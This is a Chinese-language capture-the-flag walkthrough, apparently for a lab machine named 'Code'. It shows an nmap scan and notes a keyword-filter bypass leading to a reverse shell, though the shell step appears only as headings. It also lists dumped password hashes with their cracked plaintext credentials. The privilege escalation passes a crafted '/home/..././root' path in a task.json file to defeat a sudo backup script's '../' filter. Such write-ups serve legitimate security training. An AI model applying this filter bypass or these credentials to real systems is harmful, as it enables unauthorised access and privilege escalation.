Code

10.10.11.62

nmap

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# Nmap 7.95 scan initiated Tue Apr 15 15:39:10 2025 as: nmap -e utun4 -sC -sV -vv -oA nmap/default 10.10.11.62
Nmap scan report for 10.10.11.62
Host is up, received reset ttl 63 (0.12s latency).
Scanned at 2025-04-15 15:39:23 CST for 17s
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrE0z9yLzAZQKDE2qvJju5kq0jbbwNh6GfBrBu20em8SE/I4jT4FGig2hz6FHEYryAFBNCwJ0bYHr3hH9IQ7ZZNcpfYgQhi8C+QLGg+j7U4kw4rh3Z9wbQdm9tsFrUtbU92CuyZKpFsisrtc9e7271kyJElcycTWntcOk38otajZhHnLPZfqH90PM+ISA93hRpyGyrxj8phjTGlKC1O0zwvFDn8dqeaUreN7poWNIYxhJ0ppfFiCQf3rqxPS1fJ0YvKcUeNr2fb49H6Fba7FchR8OYlinjJLs1dFrx0jNNW/m3XS3l2+QTULGxM5cDrKip2XQxKfeTj4qKBCaFZUzknm27vHDW3gzct5W0lErXbnDWQcQZKjKTPu4Z/uExpJkk1rDfr3JXoMHaT4zaOV9l3s3KfrRSjOrXMJIrImtQN1l08nzh/Xg7KqnS1N46PEJ4ivVxEGFGaWrtC1MgjMZ6FtUSs/8RNDn59Pxt0HsSr6rgYkZC2LNwrgtMyiiwyas=
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDiXZTkrXQPMXdU8ZTTQI45kkF2N38hyDVed+2fgp6nB3sR/mu/7K4yDqKQSDuvxiGe08r1b1STa/LZUjnFCfgg=
|   256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP8Cwf2cBH9EDSARPML82QqjkV811d+Hsjrly11/PHfu
5000/tcp open  http    syn-ack ttl 63 Gunicorn 20.0.4
|_http-title: Python Code Editor
| http-methods: 
|_  Supported Methods: HEAD GET OPTIONS
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /opt/homebrew/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Apr 15 15:39:40 2025 -- 1 IP address (1 host up) scanned in 30.71 seconds

5000 站点

端口 5000 为一个 python 代码执行平台，存在一些关键字的过滤，比如 import, eval, read, os 等等，可以绕过
bypass

shell
shell

反弹 shell
database
下载数据库获得哈希 

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1	development	759b74ce43947f5f4c91aeddc3e5bad3
2	martin	3de6f30c4a09c27fc71932bfc68474be
crackstation
crackstation

获得凭据 

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development:development
martin:nafeelswordsmaster

使用 martin:nafeelswordsmaster 成功登陆 ssh

提权

sudo
sudo
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# /usr/bin/backy.sh

#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done

/usr/bin/backy "$json_file"
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// /home/martin/backups/task.json
{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/home/app-production/app"
        ],

        "exclude": [
                ".*"
        ]
}

绕过 

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{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/home/..././root"
        ],

        "exclude": [
        ]
}

执行 sudo backy.sh task.json 即可获取 root 目录压缩包
root